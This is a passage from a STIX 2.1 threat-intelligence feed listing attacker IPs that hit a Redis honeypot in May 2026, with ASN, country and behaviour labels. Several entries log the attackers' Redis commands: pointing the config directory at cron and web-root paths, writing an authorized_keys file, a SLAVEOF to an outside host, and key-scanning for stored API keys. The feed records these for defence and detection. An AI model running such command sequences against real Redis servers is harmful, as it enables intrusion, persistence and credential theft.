      "id": "indicator--a900aceb-7be8-4091-8f90-dc366247d001",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T17:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T17:25:10.000Z",
      "valid_until": "2026-06-12T17:25:09.000Z"
    },
    {
      "created": "2026-05-11T19:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--701334a8-f97d-4c58-bc75-9f7daa4167ec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T19:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.65.195.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T19:25:10.000Z",
      "valid_until": "2026-06-12T19:25:09.000Z"
    },
    {
      "created": "2026-05-11T20:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--3c7ac580-bd53-4fcf-aa95-d5d8936cd3b0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T20:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T20:25:10.000Z",
      "valid_until": "2026-06-12T20:25:09.000Z"
    },
    {
      "created": "2026-05-11T21:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=21; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--67a4bce1-c294-4890-b8ba-c8e74dec3324",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T21:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.227.14.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T21:25:10.000Z",
      "valid_until": "2026-06-12T21:25:09.000Z"
    },
    {
      "created": "2026-05-11T21:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=SG; asn=45102; asn_org=Alibaba US Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--c4c3c8ab-d7c3-4a8b-81a1-3cad946a1f8a",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-11T21:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '8.219.79.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T21:25:10.000Z",
      "valid_until": "2026-06-12T21:25:09.000Z"
    },
    {
      "created": "2026-05-11T22:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=NL; asn=202412; asn_org=Omegatech LTD; redis_cmd_hits=0",
      "id": "indicator--a77c1360-0aef-4a92-a9a9-b1d494c9aa29",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T22:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '130.12.180.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T22:25:10.000Z",
      "valid_until": "2026-06-12T22:25:09.000Z"
    },
    {
      "created": "2026-05-11T23:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--7ced60ea-b750-42e7-82df-3c1eaece21bc",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-11T23:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '147.182.141.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T23:25:10.000Z",
      "valid_until": "2026-06-12T23:25:09.000Z"
    },
    {
      "created": "2026-05-12T01:25:06.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=US; asn=16509; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--d79aa355-b87e-4f04-a7b6-1a79306608f7",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-12T01:25:06.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '18.221.179.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T01:25:06.000Z",
      "valid_until": "2026-06-13T01:25:04.000Z"
    },
    {
      "created": "2026-05-12T05:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=137718; asn_org=Beijing Volcano Engine Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--c5e928f2-0c4d-4008-a693-38303dda1b2a",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-12T05:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '115.190.233.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T05:25:11.000Z",
      "valid_until": "2026-06-13T05:25:10.000Z"
    },
    {
      "created": "2026-05-12T05:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=16; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--c9c75578-2227-45cb-8aed-d4bf76bd45d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T05:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.168.121.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T05:25:11.000Z",
      "valid_until": "2026-06-13T05:25:10.000Z"
    },
    {
      "created": "2026-05-12T09:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=51; ports=6379; cc=US; asn=154177; asn_org=LIGHT NODE LIMITED; redis_cmd_hits=0",
      "id": "indicator--40f67f9e-2198-4126-86b8-73a879b31791",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T09:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '130.94.21.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T09:25:10.000Z",
      "valid_until": "2026-06-13T09:25:09.000Z"
    },
    {
      "created": "2026-05-12T11:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=36352; asn_org=HostPapa; redis_cmd_hits=0",
      "id": "indicator--1de518d6-c520-4c02-8e51-f6b2cda4015a",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-12T11:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.95.223.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T11:25:10.000Z",
      "valid_until": "2026-06-13T11:25:09.000Z"
    },
    {
      "created": "2026-05-12T11:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=7; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--c169080d-2585-49a3-87b8-5b98ea113114",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-12T11:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '47.106.209.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T11:25:10.000Z",
      "valid_until": "2026-06-13T11:25:09.000Z"
    },
    {
      "created": "2026-05-12T14:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; redis_cmd_hits=0",
      "id": "indicator--70aec735-b534-4dc9-a419-29a9a9c775ee",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-12T14:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '101.200.243.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T14:25:10.000Z",
      "valid_until": "2026-06-13T14:25:09.000Z"
    },
    {
      "created": "2026-05-12T15:25:09.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=BG; asn=48090; asn_org=Techoff Srv Limited; redis_cmd_hits=0",
      "id": "indicator--0d65be17-e7f4-4258-b2f8-e271667fe720",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-12T15:25:09.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '93.123.109.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T15:25:09.000Z",
      "valid_until": "2026-06-13T15:25:09.000Z"
    },
    {
      "created": "2026-05-12T17:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=82; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmds=GET (empty array),KEYS apikey:auth:*,GET open-webui:config:OPENAI_API_KEYS; redis_cmd_hits=0",
      "id": "indicator--06b896e1-e180-4750-90a4-75fdee807a12",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T17:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '147.182.193.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T17:25:10.000Z",
      "valid_until": "2026-06-13T17:25:09.000Z"
    },
    {
      "created": "2026-05-12T17:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--b48011a6-7ff4-4ede-bc74-fcbebf2831bd",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-12T17:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '157.230.226.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T17:25:10.000Z",
      "valid_until": "2026-06-13T17:25:09.000Z"
    },
    {
      "created": "2026-05-12T17:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=25; ports=6379; cc=SG; asn=9009; asn_org=M247 Europe SRL; cats=Generic Protocol Command Decode; redis_cmds=CONFIG SET dir /etc/cron.d/,CONFIG SET dir /var/spool/cron/,CONFIG SET dir /var/www/,CONFIG SET dir /srv/www/,CONFIG SET dir /usr/share/nginx/html/; redis_cmd_hits=0; cmd=\"CONFIG SET dir /etc/cron.d/\"",
      "id": "indicator--b99cbdd8-c02f-4f06-9154-f986153902f7",
      "labels": [
        "malware_hosting"
      ],
      "modified": "2026-05-12T17:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.200.116.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T17:25:10.000Z",
      "valid_until": "2026-06-13T17:25:09.000Z"
    },
    {
      "created": "2026-05-12T20:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=20; ports=6379; cc=GB; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--0f2df13e-8a4e-4000-af49-08485ad6a5fc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T20:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '134.209.23.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T20:25:12.000Z",
      "valid_until": "2026-06-13T20:25:11.000Z"
    },
    {
      "created": "2026-05-12T20:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--d4fe06c6-d613-4112-b905-51dcef78dc95",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-12T20:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '184.105.139.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T20:25:12.000Z",
      "valid_until": "2026-06-13T20:25:11.000Z"
    },
    {
      "created": "2026-05-12T20:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=27; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--c842da96-ab42-494f-97db-0b46715a7e2f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T20:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '184.105.139.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T20:25:12.000Z",
      "valid_until": "2026-06-13T20:25:11.000Z"
    },
    {
      "created": "2026-05-12T21:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=10; ports=6379; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--5aa54ed8-3e99-48d2-b599-306d8697f99a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T21:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T21:25:11.000Z",
      "valid_until": "2026-06-13T21:25:09.000Z"
    },
    {
      "created": "2026-05-12T22:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--b6203594-733b-4c38-99fd-35759e654822",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T22:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.106.56.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T22:25:11.000Z",
      "valid_until": "2026-06-13T22:25:10.000Z"
    },
    {
      "created": "2026-05-12T23:25:19.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=11; ports=6379; cc=CA; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--dd4f5939-8813-496d-aa7b-74a1e6c59626",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T23:25:19.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '4.174.223.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T23:25:19.000Z",
      "valid_until": "2026-06-13T23:25:09.000Z"
    },
    {
      "created": "2026-05-12T23:25:19.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--1156df52-d425-42ff-a3da-30ccc59c3bd9",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-12T23:25:19.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T23:25:19.000Z",
      "valid_until": "2026-06-13T23:25:09.000Z"
    },
    {
      "created": "2026-05-12T23:25:19.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--f1381559-e52b-4710-b0c5-d53912475ca6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T23:25:19.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T23:25:19.000Z",
      "valid_until": "2026-06-13T23:25:09.000Z"
    },
    {
      "created": "2026-05-13T02:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=UG; asn=37100; asn_org=SEACOM-AS; redis_cmd_hits=0",
      "id": "indicator--c6448603-a77a-4358-bd3b-327ef21b3932",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-13T02:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '105.27.255.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T02:25:11.000Z",
      "valid_until": "2026-06-14T02:25:09.000Z"
    },
    {
      "created": "2026-05-13T02:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=CN; asn=38365; asn_org=Beijing Baidu Netcom Science and Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--d015b885-e1d3-4f47-897f-f65d97cc79d0",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-13T02:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '120.48.1.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T02:25:11.000Z",
      "valid_until": "2026-06-14T02:25:09.000Z"
    },
    {
      "created": "2026-05-13T04:25:35.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=GB; asn=212238; asn_org=Datacamp Limited; redis_cmd_hits=0",
      "id": "indicator--11abe87f-c477-4712-a4be-d553ead45ef6",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-13T04:25:35.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '178.83.200.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T04:25:35.000Z",
      "valid_until": "2026-06-14T04:25:09.000Z"
    },
    {
      "created": "2026-05-13T04:25:35.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=GB; asn=211298; asn_org=Driftnet Ltd; redis_cmd_hits=0",
      "id": "indicator--e0eddc4b-3895-498b-a07b-c085e313c92e",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-13T04:25:35.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '193.163.125.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T04:25:35.000Z",
      "valid_until": "2026-06-14T04:25:09.000Z"
    },
    {
      "created": "2026-05-13T05:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=16; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--d16878e1-9d7d-4b08-83bb-550a47b60714",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T05:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.93.57.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T05:25:10.000Z",
      "valid_until": "2026-06-14T05:25:09.000Z"
    },
    {
      "created": "2026-05-13T05:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=21; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--31e6df10-53d5-4d64-8fc5-a2fd833b732d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T05:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '143.198.165.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T05:25:10.000Z",
      "valid_until": "2026-06-14T05:25:09.000Z"
    },
    {
      "created": "2026-05-13T05:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=4134; asn_org=Chinanet; redis_cmd_hits=0",
      "id": "indicator--379a42b4-b92b-4940-974e-9e871bf19bc5",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-13T05:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '144.123.76.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T05:25:10.000Z",
      "valid_until": "2026-06-14T05:25:09.000Z"
    },
    {
      "created": "2026-05-13T05:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=11; ports=6379; cc=CN; asn=4134; asn_org=Chinanet; redis_cmd_hits=0",
      "id": "indicator--09bd24dc-df90-4831-b081-9d1882578675",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T05:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '182.242.169.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T05:25:10.000Z",
      "valid_until": "2026-06-14T05:25:09.000Z"
    },
    {
      "created": "2026-05-13T06:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=21; ports=6379; cc=SG; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--57eae7f8-7def-4042-be30-0d70181f4535",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T06:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '139.59.96.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T06:25:10.000Z",
      "valid_until": "2026-06-14T06:25:09.000Z"
    },
    {
      "created": "2026-05-13T09:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=77; ports=6379; cc=ID; asn=154177; asn_org=LIGHT NODE LIMITED; redis_cmd_hits=0",
      "id": "indicator--643658d0-8a24-462c-920b-25540ec13037",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T09:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '130.94.95.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T09:25:10.000Z",
      "valid_until": "2026-06-14T09:25:09.000Z"
    },
    {
      "created": "2026-05-13T10:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=19; ports=6379; cc=US; asn=10439; asn_org=CariNet, Inc.; redis_cmd_hits=0",
      "id": "indicator--45f18fea-60e6-4248-9aea-b584b4816319",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T10:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '71.6.232.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T10:25:10.000Z",
      "valid_until": "2026-06-14T10:25:09.000Z"
    },
    {
      "created": "2026-05-13T11:25:09.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=4808; asn_org=China Unicom Beijing Province Network; redis_cmd_hits=0",
      "id": "indicator--d17a471f-2b45-48db-8648-3e85f305c0ce",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-13T11:25:09.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '223.223.179.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T11:25:09.000Z",
      "valid_until": "2026-06-14T11:25:09.000Z"
    },
    {
      "created": "2026-05-13T14:25:16.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=109; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; redis_cmds=SLAVEOF 14.103.239.188 60106,config set dbfilename authorized_keys,config set dbfilename dump.rdb,CONFIG SET dir /tmp/,config set rdbcompression no; redis_cmd_hits=0; cmd=\"SLAVEOF NO ONE\"",
      "id": "indicator--0c52267c-dd8c-40ac-b157-f10410c5fe71",
      "labels": [
        "command_and_control"
      ],
      "modified": "2026-05-13T14:25:16.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '106.14.146.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T14:25:16.000Z",
      "valid_until": "2026-06-14T14:25:09.000Z"
    },
    {
      "created": "2026-05-13T16:25:10.000Z",
